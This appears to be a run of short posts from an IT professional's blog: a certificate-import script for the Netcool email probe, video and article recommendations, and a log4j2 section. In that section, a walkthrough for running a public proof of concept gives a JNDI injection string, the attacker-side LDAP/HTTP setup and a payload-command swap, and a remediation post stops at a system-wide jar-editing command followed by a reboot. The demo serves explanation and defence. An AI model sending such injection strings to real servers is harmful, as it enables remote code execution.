Configuring certificates for the Netcool email probe when using Office365

 Background

If your company uses Office365 for email, and you need to use the Netcool Email Probe, you will have to configure a KeyStore database to store the valid/trusted certificates presented by Office365. What I found at one customer was that after we imported one certificate into the KeyStore, we still frequently received Certificate chaining errors, which eventually would cause the probe to stop working. The problems I saw were caused by what looks like a configuration difference on the load-balanced Office365 servers, where multiple different certificates (and certificate chains) were being presented to the Email Probe.

Solution

After several attempts at resolving the problem, I took the nuclear approach to download every possible certificate from Office365 and import them all into the KeyStore database. I'm certain it's overkill, but I scripted the solution below, and it doesn't affect the performance of the probe. Here's the script, with comments:

cd /tmp

for i in file{1..100}

do

openssl s_client -showcerts -verify 5 -connect outlook.office365.com:995 < /dev/null > $i

# each file contains at least two certificates. Each certificate needs to be in its own file

# to import it into the keystore. That's what the following command does. It will create

# files named file*-00, file*-01, file*-02 if there are two certificates returned by the above

# command.

csplit -f $i- $i '/-----BEGIN CERTIFICATE-----/' '{*}'

# file*-00 doeesn't contain anything useful (certs are in *-01 and *-02), so we will delete it

rm file*-00

done

# now import all of the above certs into the keystore.

for i in file*-*

do

keytool -keystore "/opt/IBM/tivoli/netcool/core/certs/key_netcool.jks" -import \

-trustcacerts -alias $i -file $i -noprompt -storepass THE_KEYSTORE_PASS

done

10 Things to Avoid Doing in MS Excel and Their Alternatives

 Microsoft Excel is an amazingly powerful tool that has more capabilities than most people can imagine. Today I ran across this video that covers 10 different things to avoid doing in Excel to help make working with your data easier.

The best video I've ever seen for learning Regular Expressions

I've worked with regular expressions for a long time now, and I'm always working on getting better at them. I ran across this 20-minute YouTube video and was really blown away by how quickly it explains everything you need to know about regular expressions. I highly recommend it.

Many of his other videos are also worth your time.

One huge caveat aimed at those in the world of Enterprise Software:

Not all products support all features of the regular expressions described in the video, and there are often nuances to the exact functions that are supported. For example, the following features described in the video aren't supported by various versions of *some* components of Netcool and ServiceNow, depending on which regex engine they use:

- look-ahead and look-behind operations
- named groups

Because of cases like this, I always recommend that you try to accomplish your goal using the simplest regular expression features as possible, and always test your regular expressions. Regexr.com is the site used in the video, and it is very powerful, but it appears to support the latest and greatest JavaScript regular expressions, with no way to change that. Regex101.com is the site I normally use, and it allows you to select one of several "flavors" of regular expressions.

The Zero-click exploit that Google researchers say is 'the most technically sophisticated exploit ever seen'

 In contrast to the trivially-exploitable Log4j2 exploit, here's a zero-click exploit from NSO group. Here's an article describing it in understandable terms first:

https://www.engadget.com/google-researchers-nso-zero-click-iphone-imessage-exploit-143213776.html

And here are the technical details:

https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html

Interesting article on the new frontier of botnets identifying C2 servers using "memo" data in blockchain transactions between known wallets

 The title tells you the gist of the story, but here's the full article:

https://gizmodo.com/how-cybercriminals-are-using-bitcoins-blockchain-to-mak-1848189767

Basically, the botnet code is written such that if its current C2 (Command and Control) server is down, it will search the public blockchain for transactions between known wallets. Every transaction can have an optional "memo" field, which is where the botnet controllers put the address of other C2 servers.

Example and video of log4j2 exploit

 This is a great example of the exploit in action:

https://github.com/ilsubyeega/log4j2-exploits

Here's the video showing it in action:

https://user-images.githubusercontent.com/37479424/145661983-131eb84a-9ac5-4014-9f6b-10b69d8d7cf4.mp4

You can run it yourself. On Linux, you'll first have to install the following prereqs:

node
npm
gradle
default-jdk

And you'll also need to modify Main.java before compiling to change the line:

Runtime.getRuntime().exec("cmd.exe /c start echo Exploit");

to

Runtime.getRuntime().exec("gnome-terminal");

The pieces that are provided for the exploit are:

- An HTTP server that would be owned by the attacker in the wild. This hosts the Main.class file that is going to display a new window on the server when the exploit fires.
- An LDAP server that would be owned by the attacker in the wild. This is the server queried by the vulnerable JndiLookup.class file, which includes a link to the HTTP server.
- A JVM that represents an application server like WebSphere or Tomcat

Once you feed the JVM the userr-controlled string "${jndi:ldap://127.0.0.1:3001/}", you'll see that the JVM spits out errors, but still successfully opens a new window. In the wild, this window represents ANY COMMAND THE ATTACKER WANTS TO RUN ON THE SERVER, and it's running as the same userid that's running the JVM. 

Basically, if you didn't already know, this is the worst, and most easily exploited vulnerability that's been found in the wild in a long time.

Quickest log4j2 vulnerability remediation I've found on Linux

 Quickest Linux fix I've found for the #log4j2 vulnerability:

find / -name "log4j-core-*.jar" -exec zip -q -d {} org/apache/logging/log4j/core/lookup/JndiLookup.class \;
reboot

The above command will find all files named "log4j-core-*.jar" on the system and will remove the "JndiLookup.class" file from them. The 'reboot' is a fairly large hammer, but it will restart all processes on the box. Alternatively, you can stop and restart all java processes running on the server.